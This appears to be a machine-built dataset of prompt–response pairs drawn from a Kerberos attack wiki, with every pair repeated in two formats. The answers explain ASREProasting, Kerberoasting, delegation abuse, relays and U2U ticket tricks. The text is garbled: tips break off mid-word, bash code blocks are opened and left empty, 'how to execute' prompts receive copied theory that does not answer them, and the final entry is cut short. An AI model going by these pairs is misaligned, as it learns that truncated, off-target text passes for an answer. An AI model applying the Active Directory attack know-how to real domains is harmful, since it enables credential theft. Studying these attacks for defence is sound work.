![](<../assets/Pass the things (dark).png>)


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out Kerberos during a pentest?

[Assistant]
A Kerberos realm is a logical group of networked computers that share a common authentication database. The authentication database is used to store the Kerberos tickets that are issued to users and services when they authenticate to the network.

In a Kerberos environment, each networked computer is a member of a realm. The realm is responsible for authenticating users and services and for issuing and managing Kerberos tickets.

A Kerberos realm can be implemented on any type of network, including networks that are not running Windows. In fact, the Kerberos protocol was developed as an open standard and is used by many different types of operating systems and networks.

On a Windows network, a Kerberos realm is typically equivalent to a domain. Each domain in a Windows network is a member of a realm, and the domain controller is responsible for authenticating users and services and for issuing and managing Kerberos tickets.

However, on a non-Windows network, a Kerberos realm can be implemented independently of any domain structure. In this case, the Kerberos server is responsible for authenticating users and services and for issuing and managing Kerberos tickets.

The Hacker Recipes mainly covers Kerberos attacks in a Windows context, but some attacks can also be conducted in non-Windows networks.

![](<../assets/Pass the things (dark).png>)

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out Kerberos during a pentest?

Response:
A Kerberos realm is a logical group of networked computers that share a common authentication database. The authentication database is used to store the Kerberos tickets that are issued to users and services when they authenticate to the network.

In a Kerberos environment, each networked computer is a member of a realm. The realm is responsible for authenticating users and services and for issuing and managing Kerberos tickets.

A Kerberos realm can be implemented on any type of network, including networks that are not running Windows. In fact, the Kerberos protocol was developed as an open standard and is used by many different types of operating systems and networks.

On a Windows network, a Kerberos realm is typically equivalent to a domain. Each domain in a Windows network is a member of a realm, and the domain controller is responsible for authenticating users and services and for issuing and managing Kerberos tickets.

However, on a non-Windows network, a Kerberos realm can be implemented independently of any domain structure. In this case, the Kerberos server is responsible for authenticating users and services and for issuing and managing Kerberos tickets.

The Hacker Recipes mainly covers Kerberos attacks in a Windows context, but some attacks can also be conducted in non-Windows networks.

![](<../assets/Pass the things (dark).png>)


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What is Kerberos - Tickets?

[Assistant]
Kerberos is an authentication protocol based on tickets. It basically works like this (simplified process):

1. Client asks the KDC (Key Distribution Center, usually is a domain controller) for a TGT (Ticket Granting Ticket). One of the requesting user's keys is used for pre-authentication. The TGT is provided by the Authentication Service (AS). The client request is called AS-REQ, the answer is called AS-REP.
2. Client uses the TGT to ask the KDC for a ST (Service Ticket). That ticket is provided by the Ticket Granting Service (TGS). The client request is called TGS-REQ, the answer is called TGS-REP.
3. Client uses the ST (Service Ticket) to access a service. The client request to the service is called AP-REQ, the service answer is called AP-REP.
4. Both tickets (TGT and ST) usually contain an encrypted PAC (Privilege Authentication Certificate), a set of information that the target service will read to decide if the authentication user can access the service or not (user ID, group memberships and so on).

A Service Ticket (ST) allows access to a specific service.

> [!TIP] cname formats
> When requesting a service ticket, the client (cname) specifies the service it wants to obtain access to by supplying it's sname, which can be one of 9 types (RFC 4120 section 6.2). Shortly put, the following formats are supported:
>
> * servicePrincipalName
> * userPrincipalName
> * sAMAccountName
> * sAMAccountName@DomainNetBIOSName
> * sAMAccountName@DomainFQDN
> * DomainNetBIOSName\sAMAccountName
> * DomainFQDN\sAMAccountName
>
> > Note that if you use the _SRV01_ string as a sAMAccountName, and the _SRV01_ account does not exist, and the _SRV01$_ account exists, this name will be treated as a principal name of the _SRV01$_ account.
> >
> > _(__swarm.ptsecurity.com__)_
>
> On a good note, if the service name is specified by something else than an SPN (i.e. SAN, UPN), Kerberos will basically deliver service tickets if the requested service
>
> * has a trailing $ in the req

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response:
Kerberos is an authentication protocol based on tickets. It basically works like this (simplified process):

1. Client asks the KDC (Key Distribution Center, usually is a domain controller) for a TGT (Ticket Granting Ticket). One of the requesting user's keys is used for pre-authentication. The TGT is provided by the Authentication Service (AS). The client request is called AS-REQ, the answer is called AS-REP.
2. Client uses the TGT to ask the KDC for a ST (Service Ticket). That ticket is provided by the Ticket Granting Service (TGS). The client request is called TGS-REQ, the answer is called TGS-REP.
3. Client uses the ST (Service Ticket) to access a service. The client request to the service is called AP-REQ, the service answer is called AP-REP.
4. Both tickets (TGT and ST) usually contain an encrypted PAC (Privilege Authentication Certificate), a set of information that the target service will read to decide if the authentication user can access the service or not (user ID, group memberships and so on).

A Service Ticket (ST) allows access to a specific service.

> [!TIP] cname formats
> When requesting a service ticket, the client (cname) specifies the service it wants to obtain access to by supplying it's sname, which can be one of 9 types (RFC 4120 section 6.2). Shortly put, the following formats are supported:
>
> * servicePrincipalName
> * userPrincipalName
> * sAMAccountName
> * sAMAccountName@DomainNetBIOSName
> * sAMAccountName@DomainFQDN
> * DomainNetBIOSName\sAMAccountName
> * DomainFQDN\sAMAccountName
>
> > Note that if you use the _SRV01_ string as a sAMAccountName, and the _SRV01_ account does not exist, and the _SRV01$_ account exists, this name will be treated as a principal name of the _SRV01$_ account.
> >
> > _(__swarm.ptsecurity.com__)_
>
> On a good note, if the service name is specified by something else than an SPN (i.e. SAN, UPN), Kerberos will basically deliver service tickets if the requested service
>
> * has a trailing $ in the req


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute Kerberos - Tickets?

[Assistant]
Kerberos is an authentication protocol based on tickets. It basically works like this (simplified process):

1. Client asks the KDC (Key Distribution Center, usually is a domain controller) for a TGT (Ticket Granting Ticket). One of the requesting user's keys is used for pre-authentication. The TGT is provided by the Authentication Service (AS). The client request is called AS-REQ, the answer is called AS-REP.
2. Client uses the TGT to ask the KDC for a ST (Service Ticket). That ticket is provided by the Ticket Granting Service (TGS). The client request is called TGS-REQ, the answer is called TGS-REP.
3. Client uses the ST (Service Ticket) to access a service. The client request to the service is called AP-REQ, the service answer is called AP-REP.
4. Both tickets (TGT and ST) usually contain an encrypted PAC (Privilege Authentication Certificate), a set of information that the target service will read to decide if the authentication user can access the service or not (user ID, group memberships and so on).

A Service Ticket (ST) allows access to a specific service.

> [!TIP] cname formats
> When requesting a service ticket, the client (cname) specifies the service it wants to obtain access to by supplying it's sname, which can be one of 9 types (RFC 4120 section 6.2). Shortly put, the following formats are supported:
>
> * servicePrincipalName
> * userPrincipalName
> * sAMAccountName
> * sAMAccountName@DomainNetBIOSName
> * sAMAccountName@DomainFQDN
> * DomainNetBIOSName\sAMAccountName
> * DomainFQDN\sAMAccountName
>
> > Note that if you use the _SRV01_ string as a sAMAccountName, and the _SRV01_ account does not exist, and the _SRV01$_ account exists, this name will be treated as a principal name of the _SRV01$_ account.
> >
> > _(__swarm.ptsecurity.com__)_
>
> On a good note, if the service name is specified by something else than an SPN (i.e. SAN, UPN), Kerberos will basically deliver service tickets if the requested service
>
> * has a trailing $ in the req

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
Kerberos is an authentication protocol based on tickets. It basically works like this (simplified process):

1. Client asks the KDC (Key Distribution Center, usually is a domain controller) for a TGT (Ticket Granting Ticket). One of the requesting user's keys is used for pre-authentication. The TGT is provided by the Authentication Service (AS). The client request is called AS-REQ, the answer is called AS-REP.
2. Client uses the TGT to ask the KDC for a ST (Service Ticket). That ticket is provided by the Ticket Granting Service (TGS). The client request is called TGS-REQ, the answer is called TGS-REP.
3. Client uses the ST (Service Ticket) to access a service. The client request to the service is called AP-REQ, the service answer is called AP-REP.
4. Both tickets (TGT and ST) usually contain an encrypted PAC (Privilege Authentication Certificate), a set of information that the target service will read to decide if the authentication user can access the service or not (user ID, group memberships and so on).

A Service Ticket (ST) allows access to a specific service.

> [!TIP] cname formats
> When requesting a service ticket, the client (cname) specifies the service it wants to obtain access to by supplying it's sname, which can be one of 9 types (RFC 4120 section 6.2). Shortly put, the following formats are supported:
>
> * servicePrincipalName
> * userPrincipalName
> * sAMAccountName
> * sAMAccountName@DomainNetBIOSName
> * sAMAccountName@DomainFQDN
> * DomainNetBIOSName\sAMAccountName
> * DomainFQDN\sAMAccountName
>
> > Note that if you use the _SRV01_ string as a sAMAccountName, and the _SRV01_ account does not exist, and the _SRV01$_ account exists, this name will be treated as a principal name of the _SRV01$_ account.
> >
> > _(__swarm.ptsecurity.com__)_
>
> On a good note, if the service name is specified by something else than an SPN (i.e. SAN, UPN), Kerberos will basically deliver service tickets if the requested service
>
> * has a trailing $ in the req


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Describe Kerberos - Roasting in the context of penetration testing

[Assistant]
If Kerberos preauthentication is disabled for a user, it is possible to request a TGT for that specific user without knowing any credentials. When the TGT is requested, the KDC sends it along with a session key in the KRB_AS_REP message to the requesting client. The session key being encrypted with the requested user's NT hash, it is possible to crack that session key offline in a an attempt to find the user's password. This is called ASREProasting.

If an attacker finds himself in a man-in-the-middle position, effectively capturing Kerberos messages, he could capture KRB_AS_REQ messages and operate a similar cracking attempt.

> [!TIP]
> Read the Asreqroast article for more insight

When attackers have a foothold in the domain (i.e. valid domain credentials), they have the (intended) ability to request a service ticket (ST) for any valid SPN (ServicePrincipalName), or SAN (samAccountName). The ST being encrypted with the service account's NT hash, when that service account's password is weak, it is then possible to crack the ST offline in an attempt to find the password. This is called Kerberoasting. On a side note, obtaining a service ticket for a service specified by its SAN in an attempt to Kerberoast the account will only work if the service has at least one SPN.

As it turns out, AS-REQ messages can not only be used to request TGTs but can be invoked to ask for Service Tickets as well. One of the consequences of this is that Kerberoast can be conducted without prior foothold to the domain if the attacker knows the service to target (its SPN or name) as well as an ASREProastable username: Kerberoasting without pre-authentication.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Describe Kerberos - Roasting in the context of penetration testing

Response:
If Kerberos preauthentication is disabled for a user, it is possible to request a TGT for that specific user without knowing any credentials. When the TGT is requested, the KDC sends it along with a session key in the KRB_AS_REP message to the requesting client. The session key being encrypted with the requested user's NT hash, it is possible to crack that session key offline in a an attempt to find the user's password. This is called ASREProasting.

If an attacker finds himself in a man-in-the-middle position, effectively capturing Kerberos messages, he could capture KRB_AS_REQ messages and operate a similar cracking attempt.

> [!TIP]
> Read the Asreqroast article for more insight

When attackers have a foothold in the domain (i.e. valid domain credentials), they have the (intended) ability to request a service ticket (ST) for any valid SPN (ServicePrincipalName), or SAN (samAccountName). The ST being encrypted with the service account's NT hash, when that service account's password is weak, it is then possible to crack the ST offline in an attempt to find the password. This is called Kerberoasting. On a side note, obtaining a service ticket for a service specified by its SAN in an attempt to Kerberoast the account will only work if the service has at least one SPN.

As it turns out, AS-REQ messages can not only be used to request TGTs but can be invoked to ask for Service Tickets as well. One of the consequences of this is that Kerberoast can be conducted without prior foothold to the domain if the attacker knows the service to target (its SPN or name) as well as an ASREProastable username: Kerberoasting without pre-authentication.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform Kerberos - Roasting?

[Assistant]
If Kerberos preauthentication is disabled for a user, it is possible to request a TGT for that specific user without knowing any credentials. When the TGT is requested, the KDC sends it along with a session key in the KRB_AS_REP message to the requesting client. The session key being encrypted with the requested user's NT hash, it is possible to crack that session key offline in a an attempt to find the user's password. This is called ASREProasting.

If an attacker finds himself in a man-in-the-middle position, effectively capturing Kerberos messages, he could capture KRB_AS_REQ messages and operate a similar cracking attempt.

> [!TIP]
> Read the Asreqroast article for more insight

When attackers have a foothold in the domain (i.e. valid domain credentials), they have the (intended) ability to request a service ticket (ST) for any valid SPN (ServicePrincipalName), or SAN (samAccountName). The ST being encrypted with the service account's NT hash, when that service account's password is weak, it is then possible to crack the ST offline in an attempt to find the password. This is called Kerberoasting. On a side note, obtaining a service ticket for a service specified by its SAN in an attempt to Kerberoast the account will only work if the service has at least one SPN.

As it turns out, AS-REQ messages can not only be used to request TGTs but can be invoked to ask for Service Tickets as well. One of the consequences of this is that Kerberoast can be conducted without prior foothold to the domain if the attacker knows the service to target (its SPN or name) as well as an ASREProastable username: Kerberoasting without pre-authentication.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
If Kerberos preauthentication is disabled for a user, it is possible to request a TGT for that specific user without knowing any credentials. When the TGT is requested, the KDC sends it along with a session key in the KRB_AS_REP message to the requesting client. The session key being encrypted with the requested user's NT hash, it is possible to crack that session key offline in a an attempt to find the user's password. This is called ASREProasting.

If an attacker finds himself in a man-in-the-middle position, effectively capturing Kerberos messages, he could capture KRB_AS_REQ messages and operate a similar cracking attempt.

> [!TIP]
> Read the Asreqroast article for more insight

When attackers have a foothold in the domain (i.e. valid domain credentials), they have the (intended) ability to request a service ticket (ST) for any valid SPN (ServicePrincipalName), or SAN (samAccountName). The ST being encrypted with the service account's NT hash, when that service account's password is weak, it is then possible to crack the ST offline in an attempt to find the password. This is called Kerberoasting. On a side note, obtaining a service ticket for a service specified by its SAN in an attempt to Kerberoast the account will only work if the service has at least one SPN.

As it turns out, AS-REQ messages can not only be used to request TGTs but can be invoked to ask for Service Tickets as well. One of the consequences of this is that Kerberoast can be conducted without prior foothold to the domain if the attacker knows the service to target (its SPN or name) as well as an ASREProastable username: Kerberoasting without pre-authentication.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What is Kerberos - Delegations?

[Assistant]
Kerberos delegations allow services to access other services on behalf of domain users. For instance, this allows services to require access to other services' data on the authenticated user's behalf in order to pull data that only the said user is supposed to have access to.

In some situations, Kerberos delegations can be abused by attackers to operate lateral movement or privilege escalation.

> [!TIP]
> Read the Delegations article for more insight

In some cases, the delegation will not work. Depending on the context, the bronze bit vulnerability (CVE-2020-17049) can be used to try to bypass restrictions.

> [!TIP]
> Read the Bronze bit article for more insight

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response:
Kerberos delegations allow services to access other services on behalf of domain users. For instance, this allows services to require access to other services' data on the authenticated user's behalf in order to pull data that only the said user is supposed to have access to.

In some situations, Kerberos delegations can be abused by attackers to operate lateral movement or privilege escalation.

> [!TIP]
> Read the Delegations article for more insight

In some cases, the delegation will not work. Depending on the context, the bronze bit vulnerability (CVE-2020-17049) can be used to try to bypass restrictions.

> [!TIP]
> Read the Bronze bit article for more insight


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for Kerberos - Delegations

[Assistant]
Kerberos delegations allow services to access other services on behalf of domain users. For instance, this allows services to require access to other services' data on the authenticated user's behalf in order to pull data that only the said user is supposed to have access to.

In some situations, Kerberos delegations can be abused by attackers to operate lateral movement or privilege escalation.

> [!TIP]
> Read the Delegations article for more insight

In some cases, the delegation will not work. Depending on the context, the bronze bit vulnerability (CVE-2020-17049) can be used to try to bypass restrictions.

> [!TIP]
> Read the Bronze bit article for more insight

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for Kerberos - Delegations

Response:
Kerberos delegations allow services to access other services on behalf of domain users. For instance, this allows services to require access to other services' data on the authenticated user's behalf in order to pull data that only the said user is supposed to have access to.

In some situations, Kerberos delegations can be abused by attackers to operate lateral movement or privilege escalation.

> [!TIP]
> Read the Delegations article for more insight

In some cases, the delegation will not work. Depending on the context, the bronze bit vulnerability (CVE-2020-17049) can be used to try to bypass restrictions.

> [!TIP]
> Read the Bronze bit article for more insight


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Explain Kerberos - Relays

[Assistant]
Like NTLM, the Kerberos protocol is also prone to authentication relay attacks.

> [!TIP]
> Read the Relay article for more insight

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response:
Like NTLM, the Kerberos protocol is also prone to authentication relay attacks.

> [!TIP]
> Read the Relay article for more insight


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for Kerberos - Relays?

[Assistant]
Like NTLM, the Kerberos protocol is also prone to authentication relay attacks.

> [!TIP]
> Read the Relay article for more insight

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for Kerberos - Relays?

Response:
Like NTLM, the Kerberos protocol is also prone to authentication relay attacks.

> [!TIP]
> Read the Relay article for more insight


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of Kerberos - User-to-User authentication

[Assistant]
U2U has nothing to do with S4U mechanisms and plays no part in delegation internals.

> \[U2U] allows users to host secure application services on their desktop machines. \[...] In the user-to-user protocol, one user acts as a server, and the other user acts as a client. (Frequently Asked Questions about Kerberos).

::: details More technical notes
A U2U request is a variation of a common Service Ticket request (KRB_TGS_REQ). Below is what differentiates a U2U from a standard KRB_TGS_REQ. It allows a user to request a service ticket to another user.

* Request contains an additional-tickets field containing the target user TGT.
* Request contains the ENC-TKT-IN-SKEY flag in the kdc-options field, indicating that the ticket for the end server is to be encrypted in the session key from the additional TGT provided (doc).
* The sname refers to a UPN (User Principal Name) of an account that doesn't necessarily have to have an SPN set.

A ticket produced with u2u is encrypted with the session key of the TGT included as additional-ticket instead of the target service long-term key (i.e. DES, RC4 or AES128/256 key).
:::

::: details S4U2self + U2U
In some specific scenarios, S4U2self and U2U can be combined, in which case the flags and structures both mechanisms include in their requests are combined.

This allows to

* operate RBCD attacks from SPN-less accounts
* operate an unPAC-the-hash attack
* retrieve and decrypt the PAC (Privileged Attribute Certificate) of any account. Could be used to obtain a sapphire ticket.
:::

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of Kerberos - User-to-User authentication

Response:
U2U has nothing to do with S4U mechanisms and plays no part in delegation internals.

> \[U2U] allows users to host secure application services on their desktop machines. \[...] In the user-to-user protocol, one user acts as a server, and the other user acts as a client. (Frequently Asked Questions about Kerberos).

::: details More technical notes
A U2U request is a variation of a common Service Ticket request (KRB_TGS_REQ). Below is what differentiates a U2U from a standard KRB_TGS_REQ. It allows a user to request a service ticket to another user.

* Request contains an additional-tickets field containing the target user TGT.
* Request contains the ENC-TKT-IN-SKEY flag in the kdc-options field, indicating that the ticket for the end server is to be encrypted in the session key from the additional TGT provided (doc).
* The sname refers to a UPN (User Principal Name) of an account that doesn't necessarily have to have an SPN set.

A ticket produced with u2u is encrypted with the session key of the TGT included as additional-ticket instead of the target service long-term key (i.e. DES, RC4 or AES128/256 key).
:::

::: details S4U2self + U2U
In some specific scenarios, S4U2self and U2U can be combined, in which case the flags and structures both mechanisms include in their requests are combined.

This allows to

* operate RBCD attacks from SPN-less accounts
* operate an unPAC-the-hash attack
* retrieve and decrypt the PAC (Privileged Attribute Certificate) of any account. Could be used to obtain a sapphire ticket.
:::


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute Kerberos - User-to-User authentication?

[Assistant]
U2U has nothing to do with S4U mechanisms and plays no part in delegation internals.

> \[U2U] allows users to host secure application services on their desktop machines. \[...] In the user-to-user protocol, one user acts as a server, and the other user acts as a client. (Frequently Asked Questions about Kerberos).

::: details More technical notes
A U2U request is a variation of a common Service Ticket request (KRB_TGS_REQ). Below is what differentiates a U2U from a standard KRB_TGS_REQ. It allows a user to request a service ticket to another user.

* Request contains an additional-tickets field containing the target user TGT.
* Request contains the ENC-TKT-IN-SKEY flag in the kdc-options field, indicating that the ticket for the end server is to be encrypted in the session key from the additional TGT provided (doc).
* The sname refers to a UPN (User Principal Name) of an account that doesn't necessarily have to have an SPN set.

A ticket produced with u2u is encrypted with the session key of the TGT included as additional-ticket instead of the target service long-term key (i.e. DES, RC4 or AES128/256 key).
:::

::: details S4U2self + U2U
In some specific scenarios, S4U2self and U2U can be combined, in which case the flags and structures both mechanisms include in their requests are combined.

This allows to

* operate RBCD attacks from SPN-less accounts
* operate an unPAC-the-hash attack
* retrieve and decrypt the PAC (Privileged Attribute Certificate) of any account. Could be used to obtain a sapphire ticket.
:::

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How to execute Kerberos - User-to-User authentication?

Response:
U2U has nothing to do with S4U mechanisms and plays no part in delegation internals.

> \[U2U] allows users to host secure application services on their desktop machines. \[...] In the user-to-user protocol, one user acts as a server, and the other user acts as a client. (Frequently Asked Questions about Kerberos).

::: details More technical notes
A U2U request is a variation of a common Service Ticket request (KRB_TGS_REQ). Below is what differentiates a U2U from a standard KRB_TGS_REQ. It allows a user to request a service ticket to another user.

* Request contains an additional-tickets field containing the target user TGT.
* Request contains the ENC-TKT-IN-SKEY flag in the kdc-options field, indicating that the ticket for the end server is to be encrypted in the session key from the additional TGT provided (doc).
* The sname refers to a UPN (User Principal Name) of an account that doesn't necessarily have to have an SPN set.

A ticket produced with u2u is encrypted with the session key of the TGT included as additional-ticket instead of the target service long-term key (i.e. DES, RC4 or AES128/256 key).
:::

::: details S4U2self + U2U
In some specific scenarios, S4U2self and U2U can be combined, in which case the flags and structures both mechanisms include in their requests are combined.

This allows to

* operate RBCD attacks from SPN-less accounts
* operate an unPAC-the-hash attack
* retrieve and decrypt the PAC (Privileged Attribute Certificate) of any account. Could be used to obtain a sapphire ticket.
:::


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What is Kerberoast - Theory?

[Assistant]
When asking the KDC (Key Distribution Center) for a Service Ticket (ST), the requesting user needs to send a valid TGT (Ticket Granting Ticket) and the service name (sname) of the service wanted. If the TGT is valid, and if the service exists, the KDC sends the ST to the requesting user.

Multiple formats are accepted for the sname field: servicePrincipalName (SPN), sAMAccountName (SAN), userPrincipalName (UPN), etc. (see Kerberos tickets "cname formats").

The ST is encrypted with the requested service account's NT hash. If an attacker has a valid TGT and knows a service (by its SAN or SPN), he can request a ST for this service and crack it offline later in an attempt to retrieve that service account's password.

In most situations, services accounts are machine accounts, which have very complex, long, and random passwords. But if a service account, with a human-defined password, has a SPN set, attackers can request a ST for this service and attempt to crack it offline. This is Kerberoasting.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response:
When asking the KDC (Key Distribution Center) for a Service Ticket (ST), the requesting user needs to send a valid TGT (Ticket Granting Ticket) and the service name (sname) of the service wanted. If the TGT is valid, and if the service exists, the KDC sends the ST to the requesting user.

Multiple formats are accepted for the sname field: servicePrincipalName (SPN), sAMAccountName (SAN), userPrincipalName (UPN), etc. (see Kerberos tickets "cname formats").

The ST is encrypted with the requested service account's NT hash. If an attacker has a valid TGT and knows a service (by its SAN or SPN), he can request a ST for this service and crack it offline later in an attempt to retrieve that service account's password.

In most situations, services accounts are machine accounts, which have very complex, long, and random passwords. But if a service account, with a human-defined password, has a SPN set, attackers can request a ST for this service and attempt to crack it offline. This is Kerberoasting.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute Kerberoast - Theory?

[Assistant]
When asking the KDC (Key Distribution Center) for a Service Ticket (ST), the requesting user needs to send a valid TGT (Ticket Granting Ticket) and the service name (sname) of the service wanted. If the TGT is valid, and if the service exists, the KDC sends the ST to the requesting user.

Multiple formats are accepted for the sname field: servicePrincipalName (SPN), sAMAccountName (SAN), userPrincipalName (UPN), etc. (see Kerberos tickets "cname formats").

The ST is encrypted with the requested service account's NT hash. If an attacker has a valid TGT and knows a service (by its SAN or SPN), he can request a ST for this service and crack it offline later in an attempt to retrieve that service account's password.

In most situations, services accounts are machine accounts, which have very complex, long, and random passwords. But if a service account, with a human-defined password, has a SPN set, attackers can request a ST for this service and attempt to crack it offline. This is Kerberoasting.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
When asking the KDC (Key Distribution Center) for a Service Ticket (ST), the requesting user needs to send a valid TGT (Ticket Granting Ticket) and the service name (sname) of the service wanted. If the TGT is valid, and if the service exists, the KDC sends the ST to the requesting user.

Multiple formats are accepted for the sname field: servicePrincipalName (SPN), sAMAccountName (SAN), userPrincipalName (UPN), etc. (see Kerberos tickets "cname formats").

The ST is encrypted with the requested service account's NT hash. If an attacker has a valid TGT and knows a service (by its SAN or SPN), he can request a ST for this service and crack it offline later in an attempt to retrieve that service account's password.

In most situations, services accounts are machine accounts, which have very complex, long, and random passwords. But if a service account, with a human-defined password, has a SPN set, attackers can request a ST for this service and attempt to crack it offline. This is Kerberoasting.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about Kerberoast - Practice?

[Assistant]
> [!IMPORTANT]
> Unlike ASREProasting, this attack can only be carried out with a prior foothold (valid domain credentials), except in the Kerberoasting without pre-authentication scenario.

::: tabs

=== UNIX-like

The Impacket script GetUserSPNs (Python) can perform all the necessary steps to request a ST for a service given its SPN (or name) and valid domain credentials.

> [!TIP]
> The Kerberoasting attack can be conducted without knowing any SPN of the target account, since a service ticket can be request for as long as the service's SAN (sAMAccountName) is known. (swarm.ptsecurity.com)
>
> Nota bene, Kerberos can deliver service tickets even if the service has no SPN at all, but then the service's SAN must end with $, and in this case it's hard to know for sure if the service's password is defined by a human. Kerberoast attacks usually target user accounts with at least one SPN (servicePrincipalName) since they probably have human-defined passwords (sources: Twitter and [\[MS-KILE\] section 3.3.5.1.1](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/a7ad31b0-37a4-4344-b9a7-01d4d086097e)).

```bash

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about Kerberoast - Practice?

Response:
> [!IMPORTANT]
> Unlike ASREProasting, this attack can only be carried out with a prior foothold (valid domain credentials), except in the Kerberoasting without pre-authentication scenario.

::: tabs

=== UNIX-like

The Impacket script GetUserSPNs (Python) can perform all the necessary steps to request a ST for a service given its SPN (or name) and valid domain credentials.

> [!TIP]
> The Kerberoasting attack can be conducted without knowing any SPN of the target account, since a service ticket can be request for as long as the service's SAN (sAMAccountName) is known. (swarm.ptsecurity.com)
>
> Nota bene, Kerberos can deliver service tickets even if the service has no SPN at all, but then the service's SAN must end with $, and in this case it's hard to know for sure if the service's password is defined by a human. Kerberoast attacks usually target user accounts with at least one SPN (servicePrincipalName) since they probably have human-defined passwords (sources: Twitter and [\[MS-KILE\] section 3.3.5.1.1](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/a7ad31b0-37a4-4344-b9a7-01d4d086097e)).

```bash


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute Kerberoast - Practice?

[Assistant]
> [!IMPORTANT]
> Unlike ASREProasting, this attack can only be carried out with a prior foothold (valid domain credentials), except in the Kerberoasting without pre-authentication scenario.

::: tabs

=== UNIX-like

The Impacket script GetUserSPNs (Python) can perform all the necessary steps to request a ST for a service given its SPN (or name) and valid domain credentials.

> [!TIP]
> The Kerberoasting attack can be conducted without knowing any SPN of the target account, since a service ticket can be request for as long as the service's SAN (sAMAccountName) is known. (swarm.ptsecurity.com)
>
> Nota bene, Kerberos can deliver service tickets even if the service has no SPN at all, but then the service's SAN must end with $, and in this case it's hard to know for sure if the service's password is defined by a human. Kerberoast attacks usually target user accounts with at least one SPN (servicePrincipalName) since they probably have human-defined passwords (sources: Twitter and [\[MS-KILE\] section 3.3.5.1.1](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/a7ad31b0-37a4-4344-b9a7-01d4d086097e)).

```bash

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
> [!IMPORTANT]
> Unlike ASREProasting, this attack can only be carried out with a prior foothold (valid domain credentials), except in the Kerberoasting without pre-authentication scenario.

